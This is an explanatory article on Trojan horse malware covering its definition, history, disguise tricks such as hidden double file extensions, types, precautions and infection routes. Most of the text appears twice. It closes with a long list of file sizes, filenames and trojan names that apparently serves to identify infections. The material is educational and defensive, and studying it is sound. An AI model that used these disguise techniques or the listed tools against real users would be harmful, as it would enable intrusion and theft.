Trojan horse programs cannot operate autonomously, in contrast to some other types of malware, like viruses or worms. Just as the Greeks needed the Trojans to bring the horse inside for their plan to work, Trojan horse programs depend on actions by the intended victims. As such, if trojans replicate and even distribute themselves, each new victim must run the program/trojan. Therefore their virulence is of a different nature, depending on successful implementation of social engineering concepts rather than flaws in a computer system's security design or configuration.
Definition

A Trojan horse program has a useful and desired function, or at least it has the appearance of having such. Trojans use false and fake names to trick users into dismissing the processes. These strategies are often collectively termed social engineering. In most cases the program performs other, undesired functions, but not always. The useful, or seemingly useful, functions serve as camouflage for these undesired functions. A trojan is designed to operate with functions unknown to the victim. The kind of undesired functions are not part of the definition of a Trojan Horse; they can be of any kind, but typically they have malicious intent.

In practice, Trojan Horses in the wild often contain spying functions (such as a packet sniffer) or backdoor functions that allow a computer, unknown to the owner, to be remotely controlled from the network, creating a "zombie computer". The Sony/BMG rootkit Trojan, distributed on millions of music CDs through 2005, did both of these things. Because Trojan horses often have these harmful behaviors, there often arises the misunderstanding that such functions define a Trojan Horse.

In the context of Computer Security, the term 'Trojan horse' was first used in a seminal report edited/written by JP Anderson (aka 'The Anderson Report' (Computer Security Technology Planning, Technical Report ESD-TR-73-51, USAF Electronic Sysstem Division, Hanscom AFB, Oct, 1972), which credits Daniel J Edwards then of NSA for both the coinage and the concept. One of the earliest known Trojans was a binary Trojan distributed in the binary Multics distribution; it was described by PA Karger and RR Schell in 1974 (Multics Security Evaluation, Technical Report ESD-TR-74-193 vol II, HQ Electronic Systems Division, Hanscom AFB, June 1974).

The basic difference from computer viruses is that a Trojan horse is technically a normal computer program and does not possess the means to spread itself. The earliest known Trojan horses were not designed to spread themselves. They relied on fooling people to allow the program to perform actions that they would otherwise not have voluntarily performed.

Trojans implementing backdoors typically setup a hidden server, from which a hacker with a client can then log on to. They have become polymorphic, process injecting, prevention disabling, easy to use without authorization, and therefore are abusive.

Trojans of recent times also come as computer worm payloads. It is important to note that the defining characteristics of Trojans are that they require some user interaction, and cannot function entirely on their own nor do they self-propagate/replicate.

Examples

Example of a simple Trojan horse

A simple example of a trojan horse would be a program named "waterfalls.scr.exe" claiming to be a free waterfall screensaver which, when run, instead begins erasing all the files on the computer.

Example of a somewhat advanced Trojan horse

On the Microsoft Windows platform, an attacker might attach a Trojan horse with an innocent-looking filename to an email message which entices the recipient into opening the file. The Trojan horse itself would typically be a Windows executable program file, and thus must have an executable filename extension such as .exe, .com, .scr, .bat, or .pif. Since Windows is sometimes configured by default to hide filename extensions from a user, the Trojan horse is an extension that might be "masked" by giving it a name such as 'Readme.txt.exe'. With file extensions hidden, the user would only see 'Readme.txt' and could mistake it for a harmless text file. Icons can also be chosen to imitate the icon associated with a different and benign program, or file type.

When the recipient double-clicks on the attachment, the Trojan horse might superficially do what the user expects it to do (open a text file, for example), so as to keep the victim unaware of its real, concealed, objectives. Meanwhile, it might discreetly modify or delete files, change the configuration of the computer, or even use the computer as a base from which to attack local or other networks - possibly joining many other similarly infected computers as part of a distributed denial-of-service attack. The Sony/BMG rootkit mentioned above both installed a vulnerability on victim computers, but also acted as spyware, reporting back to a central server from time to time, when any of the music CDs carrying it were played on a Windows computer system.

Types of Trojan horses

Trojan horses are almost always designed to do various harmful things, but could be harmless. Examples are
erasing or overwriting data on a computer.
encrypting files in a cryptoviral extortion attack.
corrupting files in a subtle way.
upload and download files.
allowing remote access to the victim's computer. This is called a RAT. (remote administration tool)
spreading other malware, such as viruses. In this case the Trojan horse is called a 'dropper' or 'vector'.
setting up networks of zombie computers in order to launch DDoS attacks or send spam.
spying on the user of a computer and covertly reporting data like browsing habits to other people (see the article on spyware).
make screenshots.
logging keystrokes to steal information such as passwords and credit card numbers (also known as a keylogger).
phish for bank or other account details, which can be used for criminal activities.
installing a backdoor on a computer system.
opening and closing CD-ROM tray

Time bombs and logic bombs

"Time bombs" and "logic bombs" are types of trojan horses.

"Time bombs" activate on particular dates and/or times. "Logic bombs" activate on certain conditions met by the computer.

Precautions against Trojan horses

Trojan horses can be protected against through end user awareness. Trojan Horse viruses can cause a great deal of damage to a personal computer but even more damaging is what they can do to a business, particularly a small business that usually does not have the same virus protection capabilities as a large business. Since a Trojan Horse virus is hidden it is harder to protect yourself or your company from them but there are things that you can do.

Trojan Horses are most commonly spread through an e-mail, much like other types of common viruses. The only difference being of course is that a Trojan Horse is hidden. The best ways to protect yourself and your company from Trojan Horses are as follows:

1. If you receive e-mail from someone that you do not know or you receive an unknown attachment never open it right away. As an e-mail use you should confirm the source. Some hackers have the ability to steal an address books so if you see e-mail from someone you know that does not necessarily make it safe.

2. When setting up your e-mail client make sure that you have the settings so that attachments do not open automatically. Some e-mail clients come ready with an anti-virus program that scans any attachments before they are opened. If your client does not come with this it would be best to purchase on or download one for free.

3. Make sure your computer has an anti-virus program on it and make sure you update it regularly. If you have an auto-update option included in your anti-virus program you should turn it on, that way if you forget to update your software you can still be protected from threats

4. Operating systems offer patches to protect their users from certain threats and viruses, including Trojan Horses. Software developers like Microsoft offer patches that in a sense ?close the hole? that the Trojan horse or other virus would use to get through to your system. If you keep your system updated with these patches your computer is kept much safer.

5. Avoid using peer-2-peer or P2P sharing networks like Kazaa , Limewire, Ares, or Gnutella because those programs are generally unprotected from viruses and Trojan Horse viruses are especially easy to spread through these programs. Some of these programs do offer some virus protection but often they are not strong enough.

Besides these sensible precautions, one can also install anti-trojan software, some of which are offered free.

Methods of Infection

The majority of trojan horse infections occur because the user was tricked into running an infected program. This is why you're not supposed to open unexpected attachments on emails -- the program is often a cute animation or a sexy picture, but behind the scenes it infects the computer with a trojan or worm. The infected program doesn't have to arrive via email, though; it can be sent to you in an Instant Message, downloaded from a Web site or by FTP, or even delivered on a CD or floppy disk. (Physical delivery is uncommon, but if you were the specific target of an attack, it would be a fairly reliable way to infect your computer.) Furthermore, an infected program could come from someone who sits down at your computer and loads it manually.

Websites: You can be infected by visiting a rogue website. Internet Explorer is most often targeted by makers of trojans and other pests, because it contains numerous bugs, some of which improperly handle data (such as HTML or images) by executing it as a legitimate program. (Attackers who find such vulnerabilities can then specially craft a bit of malformed data so that it contains a valid program to do their bidding.) The more "features" a web browser has (for example ActiveX objects, and some older versions of Flash or Java), the higher your risk of having security holes that can be exploited by a trojan horse.

Email: If you use Microsoft Outlook, you're vulnerable to many of the same problems that Internet Explorer has, even if you don't use IE directly. The same vulnerabilities exist since Outlook allows email to contain HTML and images (and actually uses much of the same code to process these as Internet Explorer). Furthermore, an infected file can be included as an attachment. In some cases, an infected email will infect your system the moment it is opened in Outlook -- you don't even have to run the infected attachment.

For this reason, using Outlook lowers your security substantially.

Open ports: Computers running their own servers (HTTP, FTP, or SMTP, for example), allowing Windows file sharing, or running programs that provide filesharing capabilities such as Instant Messengers (AOL's AIM, MSN Messenger, etc.) may have vulnerabilities similar to those described above. These programs and services may open a network port giving attackers a means for interacting with these programs from anywhere on the Internet. Vulnerabilities allowing unauthorized remote entry are regularly found in such programs, so they should be avoided or properly secured.

A firewall may be used to limit access to open ports. Firewalls are widely used in practice, and they help to mitigate the problem of remote trojan insertion via open ports, but they are not a totally impenetrable solution, either.
Trojan ( bad ) Beware !!!!
Trojan horse well this term has many meanings .
In the context of computer software, a Trojan horse is a malicious program that is disguised as or embedded within legitimate software. The term is derived from the classical myth of the Trojan Horse. They may look useful or interesting (or at the very least harmless) to an unsuspecting user, but are actually harmful when executed.

Often the term is shortened to simply Trojan, even though this turns the adjective into a noun, reversing the myth (Greeks were gaining malicious access, not Trojans).

There are two common types of Trojan horses.

One, is otherwise useful software that has been corrupted by a cracker inserting malicious code that executes while the program is used. Examples include various implementations of weather alerting programs, computer clock setting software, and peer to peer file sharing utilities.

The other type is a standalone program that masquerades as something else, like a game or image file, in order to trick the user into some misdirected complicity that is needed to carry out the program's objectives.

Trojan horse programs cannot operate autonomously, in contrast to some other types of malware, like viruses or worms. Just as the Greeks needed the Trojans to bring the horse inside for their plan to work, Trojan horse programs depend on actions by the intended victims. As such, if trojans replicate and even distribute themselves, each new victim must run the program/trojan. Therefore their virulence is of a different nature, depending on successful implementation of social engineering concepts rather than flaws in a computer system's security design or configuration.
Definition

A Trojan horse program has a useful and desired function, or at least it has the appearance of having such. Trojans use false and fake names to trick users into dismissing the processes. These strategies are often collectively termed social engineering. In most cases the program performs other, undesired functions, but not always. The useful, or seemingly useful, functions serve as camouflage for these undesired functions. A trojan is designed to operate with functions unknown to the victim. The kind of undesired functions are not part of the definition of a Trojan Horse; they can be of any kind, but typically they have malicious intent.

In practice, Trojan Horses in the wild often contain spying functions (such as a packet sniffer) or backdoor functions that allow a computer, unknown to the owner, to be remotely controlled from the network, creating a "zombie computer". The Sony/BMG rootkit Trojan, distributed on millions of music CDs through 2005, did both of these things. Because Trojan horses often have these harmful behaviors, there often arises the misunderstanding that such functions define a Trojan Horse.

In the context of Computer Security, the term 'Trojan horse' was first used in a seminal report edited/written by JP Anderson (aka 'The Anderson Report' (Computer Security Technology Planning, Technical Report ESD-TR-73-51, USAF Electronic Sysstem Division, Hanscom AFB, Oct, 1972), which credits Daniel J Edwards then of NSA for both the coinage and the concept. One of the earliest known Trojans was a binary Trojan distributed in the binary Multics distribution; it was described by PA Karger and RR Schell in 1974 (Multics Security Evaluation, Technical Report ESD-TR-74-193 vol II, HQ Electronic Systems Division, Hanscom AFB, June 1974).

The basic difference from computer viruses is that a Trojan horse is technically a normal computer program and does not possess the means to spread itself. The earliest known Trojan horses were not designed to spread themselves. They relied on fooling people to allow the program to perform actions that they would otherwise not have voluntarily performed.

Trojans implementing backdoors typically setup a hidden server, from which a hacker with a client can then log on to. They have become polymorphic, process injecting, prevention disabling, easy to use without authorization, and therefore are abusive.

Trojans of recent times also come as computer worm payloads. It is important to note that the defining characteristics of Trojans are that they require some user interaction, and cannot function entirely on their own nor do they self-propagate/replicate.

Examples

Example of a simple Trojan horse

A simple example of a trojan horse would be a program named "waterfalls.scr.exe" claiming to be a free waterfall screensaver which, when run, instead begins erasing all the files on the computer.

Example of a somewhat advanced Trojan horse

On the Microsoft Windows platform, an attacker might attach a Trojan horse with an innocent-looking filename to an email message which entices the recipient into opening the file. The Trojan horse itself would typically be a Windows executable program file, and thus must have an executable filename extension such as .exe, .com, .scr, .bat, or .pif. Since Windows is sometimes configured by default to hide filename extensions from a user, the Trojan horse is an extension that might be "masked" by giving it a name such as 'Readme.txt.exe'. With file extensions hidden, the user would only see 'Readme.txt' and could mistake it for a harmless text file. Icons can also be chosen to imitate the icon associated with a different and benign program, or file type.

When the recipient double-clicks on the attachment, the Trojan horse might superficially do what the user expects it to do (open a text file, for example), so as to keep the victim unaware of its real, concealed, objectives. Meanwhile, it might discreetly modify or delete files, change the configuration of the computer, or even use the computer as a base from which to attack local or other networks - possibly joining many other similarly infected computers as part of a distributed denial-of-service attack. The Sony/BMG rootkit mentioned above both installed a vulnerability on victim computers, but also acted as spyware, reporting back to a central server from time to time, when any of the music CDs carrying it were played on a Windows computer system.

Types of Trojan horses

Trojan horses are almost always designed to do various harmful things, but could be harmless. Examples are
erasing or overwriting data on a computer.
encrypting files in a cryptoviral extortion attack.
corrupting files in a subtle way.
upload and download files.
allowing remote access to the victim's computer. This is called a RAT. (remote administration tool)
spreading other malware, such as viruses. In this case the Trojan horse is called a 'dropper' or 'vector'.
setting up networks of zombie computers in order to launch DDoS attacks or send spam.
spying on the user of a computer and covertly reporting data like browsing habits to other people (see the article on spyware).
make screenshots.
logging keystrokes to steal information such as passwords and credit card numbers (also known as a keylogger).
phish for bank or other account details, which can be used for criminal activities.
installing a backdoor on a computer system.
opening and closing CD-ROM tray

Time bombs and logic bombs

"Time bombs" and "logic bombs" are types of trojan horses.

"Time bombs" activate on particular dates and/or times. "Logic bombs" activate on certain conditions met by the computer.

Precautions against Trojan horses

Trojan horses can be protected against through end user awareness. Trojan Horse viruses can cause a great deal of damage to a personal computer but even more damaging is what they can do to a business, particularly a small business that usually does not have the same virus protection capabilities as a large business. Since a Trojan Horse virus is hidden it is harder to protect yourself or your company from them but there are things that you can do.

Trojan Horses are most commonly spread through an e-mail, much like other types of common viruses. The only difference being of course is that a Trojan Horse is hidden. The best ways to protect yourself and your company from Trojan Horses are as follows:

1. If you receive e-mail from someone that you do not know or you receive an unknown attachment never open it right away. As an e-mail use you should confirm the source. Some hackers have the ability to steal an address books so if you see e-mail from someone you know that does not necessarily make it safe.

2. When setting up your e-mail client make sure that you have the settings so that attachments do not open automatically. Some e-mail clients come ready with an anti-virus program that scans any attachments before they are opened. If your client does not come with this it would be best to purchase on or download one for free.

3. Make sure your computer has an anti-virus program on it and make sure you update it regularly. If you have an auto-update option included in your anti-virus program you should turn it on, that way if you forget to update your software you can still be protected from threats

4. Operating systems offer patches to protect their users from certain threats and viruses, including Trojan Horses. Software developers like Microsoft offer patches that in a sense ?close the hole? that the Trojan horse or other virus would use to get through to your system. If you keep your system updated with these patches your computer is kept much safer.

5. Avoid using peer-2-peer or P2P sharing networks like Kazaa , Limewire, Ares, or Gnutella because those programs are generally unprotected from viruses and Trojan Horse viruses are especially easy to spread through these programs. Some of these programs do offer some virus protection but often they are not strong enough.

Besides these sensible precautions, one can also install anti-trojan software, some of which are offered free.

Methods of Infection

The majority of trojan horse infections occur because the user was tricked into running an infected program. This is why you're not supposed to open unexpected attachments on emails -- the program is often a cute animation or a sexy picture, but behind the scenes it infects the computer with a trojan or worm. The infected program doesn't have to arrive via email, though; it can be sent to you in an Instant Message, downloaded from a Web site or by FTP, or even delivered on a CD or floppy disk. (Physical delivery is uncommon, but if you were the specific target of an attack, it would be a fairly reliable way to infect your computer.) Furthermore, an infected program could come from someone who sits down at your computer and loads it manually.

Websites: You can be infected by visiting a rogue website. Internet Explorer is most often targeted by makers of trojans and other pests, because it contains numerous bugs, some of which improperly handle data (such as HTML or images) by executing it as a legitimate program. (Attackers who find such vulnerabilities can then specially craft a bit of malformed data so that it contains a valid program to do their bidding.) The more "features" a web browser has (for example ActiveX objects, and some older versions of Flash or Java), the higher your risk of having security holes that can be exploited by a trojan horse.

Email: If you use Microsoft Outlook, you're vulnerable to many of the same problems that Internet Explorer has, even if you don't use IE directly. The same vulnerabilities exist since Outlook allows email to contain HTML and images (and actually uses much of the same code to process these as Internet Explorer). Furthermore, an infected file can be included as an attachment. In some cases, an infected email will infect your system the moment it is opened in Outlook -- you don't even have to run the infected attachment.

For this reason, using Outlook lowers your security substantially.

Open ports: Computers running their own servers (HTTP, FTP, or SMTP, for example), allowing Windows file sharing, or running programs that provide filesharing capabilities such as Instant Messengers (AOL's AIM, MSN Messenger, etc.) may have vulnerabilities similar to those described above. These programs and services may open a network port giving attackers a means for interacting with these programs from anywhere on the Internet. Vulnerabilities allowing unauthorized remote entry are regularly found in such programs, so they should be avoided or properly secured.

A firewall may be used to limit access to open ports. Firewalls are widely used in practice, and they help to mitigate the problem of remote trojan insertion via open ports, but they are not a totally impenetrable solution, either.
0 Changelog Back Orifice Communications Library
0 Bla.bla BLA trojan
0 Ipn.101 DataRape
0 Nam.101 DataRape
0 Por.101 DataRape
0 Udp.101 DataRape
5 Disk1.id NetBus 2.0 Pro
6 sniff.pid Shaft
8 Anam.101 DataRape
9 Lastip.sdf Snid
10 Stamp-h.in Back Orifice Communications Library
10 Cd-it.zip Warpcom
12 Snid.ini Snid
14 Ghlope.ini UandMe
15 Vclcntl.dll AOL Buddy
23 Runme.bat Modem Jammer
23 Resource.h.dsg Oblivion Dropper Source Generator
24 Paradise.ini Masters Paradise
26 Io.dll Retribution
26 Sprocks.bmp Retribution
26 Diskf.dll Retribution
26 Reginf.ret Retribution
26 Subseven.set SubSeven 2.2
27 Winstart.bat CrazzyNet
28 Module1.bas Log
31 Setup.ini NetBus 2.0 Pro
31 Install.bat Trojan Hide Tool
39 Pack.cmd Logger
40 Client.ini NokNok
43 Closew.bat 2000 Cracks
43 Readme.txt Alcarys.G
44 Acconfig.h Xremote
46 Apxi.dll ICQ Pager
46 Tools.kip SubSARI
47 Pcinvader.cfg PC Invader
47 Trojan.vbw TailGunner
49 Autopoll.ini Masters Paradise
49 Setup.lid Mos--ker
50 Pack_off.h Back Orifice Communications Library
51 Explorer.exe Reven
52 Acid setup.vbw Acid Shivers
52 Script.mrc neXus
54 Pl.bat Eversaw
56 D[censored].ini Donald [censored]
56 Icqcrk.gif Paradise trojan
62 Nettrash.ini NetTrash
62 Oxon.ini Oxon
62 St5unst.exe WinGrab
64 Dir.txt BackGate Kit
64 Winini.tmp -8,554 bytesDrone.cfg Pioneer
64 Newvbs.reg Worms Generator
66 Connector.exe.sig Connector
68 Pref.ini Frenzy
68 Pwmodify.dat PsychWard
69 Setup.ini Mos--ker
70 Defs.h Back Orifice Communications Library
71 Win.drv BuggyWorm
72 Dedicado A.....txt Zevach
73 Rsrc.dsg Oblivion Dropper Source Generator
75 clear yoyo
83 Th3tr41t0r.vbw The Traitor (= th3tr41t0r)
89 Cha_du_ri.bat WCup
89 Dd.ini WCup
93 Password.txt Frethem
96 Dosya.kip SubSARI
97 Includes.dsg Oblivion Dropper Source Generator
101 Deltree.dll MuSka52
108 Ctcp.mrc neXus
111 00000001.COM On4ever
111 00000002.COM On4ever
111 00000003.COM On4ever
111 00000004.COM On4ever
112 Register.reg RUX The TIc.K
113 Config Guangwai Ghost
113 Necuser3.tye HD trojan
114 V.vbs Alcarys.G
114 Install.bat Blood Fest Evolution
117 Cfgwin32.reg BO dll
118 Register.reg RTB 666
119 Data.tag Mos--ker
120 Doc.dll MuSka52
122 Rsrc.rc BSE
122 Agent.ini Cyber Sensor
125 Index.reg Bitchin Threads
126 Xp.bat Jerm
127 Make.bat Rux
127 Korea_rulez.vbs WCup
132 -infect-.p$ NetBus
134 Start.cmd Logger
134 Korea_win_worldcup2002.vbs WCup
137 Fooled.com Fooled
138 Setup.pkg NetBus 2.0 Pro
142 Install.bat Hvl RAT
146 Start.bat Alcarys.G
150 Qskrypt1.qsc Q-taz
150 Koreans_.reg WCup
160 File_id.diz Cybernetic Cowb0y�s NetBus
160 Srver.exe The Invasor
161 Nix.cnt The Nix
164 Crazzynet.ini CrazzyNet
166 Makefile.am Back Orifice Communications Library
170 Log.mak Log
178 Ftpcmds.txt BackGate Kit
178 File_id.diz NetBus 2.0 Pro
189 Pddt.dat Mini BackLash
190 Pack_on.h Back Orifice Communications Library
192 Bofacil.ini BO Facil
196 Medusa.mrc Medusa
202 Settings.dll Ass Sniffer
206 Psetup.dat Progenic Mail Trojan Construction Kit
210 Startadore Adore rootkit
226 Autoftp.ini Autoftp1
227 Dl.1bat BackGate Kit
227 Carla.txt.vbs Zevach
228 Fooled.zip Fooled
230 Lee Esto!.txt Zevach
233 Crack.reg ASPack
233 Flelist.xml Nakter Affe
237 Autoftp1.vbw Autoftp1
246 Prog.ini Trapdoor
249 Hookdump.ini Hookdump
254 Register.reg AccKontrol
254 Register.reg Black Angel
263 Module1.bas EH trojan
265 Trojan.com RBBS
280 Wckoat.sig Trojan Hide Tool
286 Jokes.trj EasyTrojan
286 Fix.bat Rathead
288 Config.h.in Xremote
289 Compile.bat PECompact
298 *.sig Silk Rope
301 Options.ini Connect4
302 Commands.cfg Undetected
314 Gimmerand.c ADM worm
317 Syphillisserver.dpr Syphillis
322 File_id.diz neXus
324 Startup.lnk Pando
329 Acub.dll A-trojan
333 VIERIKA.JPG.VBS Vierika
344 Login.txt BackGate Kit
344 03.d BackGate Kit
348 Config.ini Gip
351 Script.ini BuggyWorm
353 Layout.bin Mos--ker
362 Config.h Xremote
369 Uploader.bat Rux
370 Changelog Xremote
378 Cdecl.h Back Orifice Communications Library
379 s--ker.trj EasyTrojan
386 Explorer.cfg ZA Killer
396 Solffcor.sh Solaris rootkit
397 Vbs_f--k.zip f--k
400 Install.log Trojan Hide Tool
406 Ddoly121.zip Doly Trojan
417 Os.dat Mos--ker
428 V.reg Alcarys.G
433 Pack.bat Connect4
433 Qtrodel.zip QtroDel / QreoDel
445 Wsock32.bat BuggyWorm
450 Msvbvm60.dll Daodan
454 Cr.vbs Eversaw
454 Readme.vbs Snav
456 Resource.h Enigma�s Setup Trojan
457 Resource.h Silk Rope
461 Mirc.fire.490.zip Fire
464 Skin.ini SubSeven
470 Plugex.dpr Undetected
482 Index.htm DSS
486 Timer98.bat Funtime Apocolypse
487 Secto.com Sector-Zero
492 Timernt.bat Funtime Apocolypse
527 Kcr.com KCR
528 Attacker.cfg Attacker
533 HTML_Shit.zip Shit Trojan
536 Aweblite.zip Aphex WebDownloader LITE
537 Servustartuplog.txt BackGate Kit
545 Gimmeip ADM worm
546 Vbs.rabbit.zip Rabbit
547 Setuptrojan.dsw Enigma�s Setup Trojan
553 Skin.ini Undetected
586 Ecat.com ECat
594 Element.txt Elem
595 Nerte.cnt NerTe
610 Com2exe.com Rux
616 Send.tgz Remote Administration Tool - RAT
630 Trojan_Shit.htm Shit Trojan
632 Skin.ini Backage
662 Calculus.exe Calculus
663 Satas.mrc SataS Scan Script
668 Trojan17.exe FliMod
670 Startup ADM worm
672 Acid setup.vbp Acid Shivers
678 About.com Gnotify
686 Ipxkcr.com KCR
686 Wprinter spitter.com Printer Spitter
688 Playkcr.com KCR
689 BlackDay.bat BlackDay
696 Bo2k-defs.h.in Back Orifice Communications Library
703 Chkperm.txt Solaris rootkit
710 Evilhtml_2.zip Evil HTML Format
721 S7config.cfg SubSeven 2.2
722 Mkinstalldirs Back Orifice Communications Library
726 Int09mon.com 9x Int 09 Moniter
730 DestroyerNT.zip God
763 Config.h.in Back Orifice Communications Library
764 Mdlstartup.bas Autoftp1
765 Incremental ADM worm
766 Element.ico Elem
768 Systrayicon.exe SubSeven
772 Libbo2k.dsw Back Orifice Communications Library
773 Qtaz20pl.diz Q-taz
774 Makefile.gen Adore rootkit
776 Prosiak.ini Prosiak
779 En-cid12.dat The 1-900 Trojan
781 Qtaz22.diz Q-taz
781 Qtaz23.diz Q-taz
797 Urls.ini neXus
801 Clientootlt.vbp EH trojan
807 All-root.zip allroot
809 Netbus.cnt NetBus 2.0 Pro
812 Backage32se.bagage Backage
823 Rat10.zip Remote Administration Tool - RAT
824 Xtratank.com Xtratank
825 Remotecntrl.mrc neXus
839 Nor.wps Alcarys.G
843 Christina_aguilera_nude!.vbs Reaper
844 Libbo2kspec Back Orifice Communications Library
844 Freejc.exe Free JC suite
846 Freejc2.exe Free JC suite
847 Libbo2k.spec.in Back Orifice Communications Library
852 Serverootlt.vbp EH trojan
868 Crack4jc.exe Free JC suite
872 Outlookjs.class GodWill
879 Backage3.ini Backage
887 Extract.dsg Oblivion Dropper Source Generator
888 Natas.url Natas
899 Aboutblank.htm Blank
915 Config.h Back Orifice Communications Library
926 V.com LFM-926
928 Email.vbs BuggyWorm
930 Audpserver A UDP backdoor
942 Malkavian.url Lucky2
958 Icqcrack.zip Apulia
964 Audpbackdoor.tar.gz A UDP backdoor
964 Geax105.com GetIt Keylogger
965 Strhandle.h Back Orifice Communications Library
967 Coldir.com Coldir trojan
967 Read-me.pif Golden Retriever
987 Th3tr41t0r.vbp The Traitor (= th3tr41t0r)
992 EX_Folder.zip EX_Folder
993 AOL4free.com AOL4FREE
996 Ghostdog.zip GhostDog
1008 Overquota.bat OverQuota
1014 All-root.c allroot
1014 Procspy.ini Cyber Sensor
1019 Getitsdw.com GetIt Keylogger
1024 Server.exe Mini Web Downloader
1028 Dailupraper.dep Dunrape
1032 Rat11.zip Remote Administration Tool - RAT
1035 Audpclient A UDP backdoor
1046 Win95.exe Free JC suite
1052 Winnt.exe Free JC suite
1055 Evilhtml2.zip Evil HTML Format
1067 Skin.ini Mos--ker
1076 Mskernel32.vbs Dayumi
1076 Gssh101.com GetIt Keylogger
1078 Icon1.ico Enigma�s Setup Trojan
1088 Alloyico.dll Alloy Executable Compiler
1088 Boy95.com SpyBoy
1094 Bad.dat Got You
1095 (version C) Pica
1100 17th.Inst.zip 17th.Inst
1122 Oggy_froggy1_2.zip Oggy Froggy
1137 Lame.cpp Lame
1148 Evil98.html Evil HTML Share
1148 Wing.ini WinGrab
1152 Screen.tpu EasyTrojan
1165 Setup.ini Alloy Executable Compiler
1169 Protools.com PECompact
1184 Miranda.zip Miranda
1187 Movie.avi.pif Homemade
1195 lbk.tar.gz lbk
1204 Winf--k.zip Winf--k
1218 Menu.cfg SubSeven 2.2
1235 Destroyernt.txt God
1243 Playkcr.zip KCR
1257 Trojan.vbp TailGunner
1281 Funtime95.hta Funtime Apocolypse
1281 Funtiment.hta Funtime Apocolypse
1285 Without.bat Without
1292 Ibug.ini neXus
1300 98sfix.bat Control trojan
1325 Ghostdog.com GhostDog
1330 Getitkeyloggsdw100r.zip GetIt Keylogger
1333 Passcrypt.zip QueBus
1339 Winf--k.bat Winf--k
1345 T0rnsb T0rn Rootkit
1357 Kcr.zip KCR
1366 EX_Folder.bat EX_Folder
1374 Giant.frm EH trojan
1382 Sz T0rn Rootkit
1383 Blitz.c BlitzNet
1408 Catman.com Catman trojan
1408 General.tpu EasyTrojan
1429 Configure.in Back Orifice Communications Library
1443 Skisetup.log Stealth Keyboard Interceptor Auto Sender
1454 Picard.vbs Lee
1455 Ffb24.c Solaris rootkit
1458 Modregistry.bas The Traitor (= th3tr41t0r)
1470 Ns.com Hackin' for Newbies
1478 Ipxkcr.zip KCR
1483 Scanconnect.c ADM worm
1489 Lion24.c Solaris rootkit
1489 Zip-troj.zip Zip trojan
1492 Commands.cfg Undetected
1511 Winsck.ini GateCrasher
1517 Teenslideshow.scr Sinep
1517 Winsystem.vbs Sinep
1531 Sam.htm Emailtips
1536 ~df127d.tmp CrazzyNet
1551 REQUESTED_INFO.DOC.vbs Req
1560 Commandloop.h Back Orifice Communications Library
1566 Cmoney.com Resizer
1578 Fservecheat.zip SubSeven scripts
1594 Evilnt.html Evil HTML Share
1594 Trojanrunnernt.txt God
1640 Lemon24.c Solaris rootkit
1668 Annhiliatent.txt God
1673 Evilhtml.zip Evil HTML Format
1690 Dtv31-lite-client.ini Deep Throat
1710 Script1.rc Enigma�s Setup Trojan
1710 Saranwrap.rc NokNok
1710 Silkrope.rc Silk Rope
1728 Uninstal.ini NetBuster Killer
1732 Ntshareme.html Evil HTML Share
1753 98shareme.html Evil HTML Share
1771 Miranda.com Miranda
1773 Multimedia.lte Multimedia, Lithium plug-in
1795 Plugins.h Back Orifice Communications Library
1807 Dccf--k.zip SubSeven scripts
1826 gH-cgi.c gH CGI Backdoor
1829 Xls.wps Alcarys.G
1836 Humanismo.html.vbs Manis
1858 Form3.frx The Traitor (= th3tr41t0r)
1877 FOTOS_YABRAN_VIVO_HOY.JPG.vbs Yabran
1917 Evil.html Evil HTML Format
1926 Runmenow.com HD trojan
1929 Trojan.frm TailGunner
1944 Frmcompleted.frm Autoftp1
1948 (B)Independance_Day.vbs Lee
1949 Utrojan.c Universal trojan
1950 Blank.html. 321 bytesDoc.wps Alcarys.G
1957 Dummy.c Adore rootkit
1971 Gravedad.zip Gravedad
2009 Deisl1.isu Trojan Hide Tool
2031 Bocomreg.h Back Orifice Communications Library
2035 Cleaner.c Adore rootkit
2037 Acid setup.zip Acid Shivers
2061 Pif worm emmapeel.zip Emma Peel
2063 English.ini Masters Paradise
2070 Cartolina.vbs Cartolina
2083 Upgradetowindowsxp.bat Jerm
2140 Notify.php Nawai
2143 Splash2.jpg GayOL
2146 Supernovae.999.zip SuperNova
2177 Autoftp1.vbp Autoftp1
2190 Hellyeah.zip Hellfirez
2192 Passwd_irix.c Password trojan
2195 Ds9.vbs Lee
2244 xmas.vbs Jean
2261 Cinstall.com Host Control
2275 Sys32.exe Cable
2278 El15_bmp.exe El15 BMP
2288 Commnet.h Back Orifice Communications Library
2296 Remote.ini neXus
2303 Stuff.mrc neXus
2310 Avkiller2.zip AVKillah
2317 Friend_message.txt.vbs FriendMess
2336 Illwill_info.exe Nawai
2336 Dod.mrc neXus
2353 Mirko.bat Krim
2355 Rush.tcl BlitzNet
2361 Beerwyrm.vbs Beerwyrm
2370 Edit_cfg.wri FTP SMTP
2383 Slist.mrc neXus
2392 Destroyer98.txt God
2407 Msinet.dep Cero
2407 Uninstal.ini Sensive
2417 Whatsnew.300 PKZip Trojan
2417 Freemp3s.vbs Resreg
2420 VBS.Lava.vbs Fiber
2422 VBS.Lava.vbs Fiber
2436 Homepage.html.vbs Homepage
2465 Mswinsck.dep Cero
2472 Frmlogin.fram Autoftp1
2494 Dropper.com Brebarka
2506 Imagehlp.dll MTX II
2519 Deutsch.ini Masters Paradise
2555 Pricol.exe Pricol
2576 Iohandler.h Back Orifice Communications Library
2592 Ocx.reg BusConquerer
2592 Ocx.reg NetBuster Killer
2592 Ocx.reg Psyber Stream Server
2601 Libinvisible.h Adore rootkit
2606 Kernel32.vbs PWStroy
2643 El15bmp.zip El15 BMP
2644 Worm_Elva.zip Elva
2649 Xremote.1 Xremote
2655 Breberka.txt .vbe Brebarka
2686 System.dll.vbs Bajar.B
2705 Vue testing service.txt.zip GhostDog
2709 Xremote.spec Xremote
2729 Psrace.c Solaris rootkit
2734 Annhiliate98.txt God
2734 Ircworm-julie.zip Julie
2758 Qfatc.zip Qfat
2784 Tsrpart.tpu EasyTrojan
2795 pp.pl Shaft
2803 kbdv2.c Linux loadable kernel module backdoor
2823 Oggy_fro.bat Oggy Froggy
2850 Encryption.h Back Orifice Communications Library
2853 Annakournikova.jpg.vbs OntheFly
2888 Nlc.mrc neXus
2918 Replace.mrc neXus
2922 Win32.cpp Back Orifice Communications Library
2922 Regclean.exe.js Olvort
2922 Regclean.exe.js Olvortex
2933 Brahma.jpg.vbs Rahma
2944 Serverootlt.frm EH trojan
2951 Cool_notepad_demo.txt.vbs CoolNote
2968 Configure Adore rootkit
2999 kbd.c Linux loadable kernel module backdoor
3008 Hosts.ip neXus
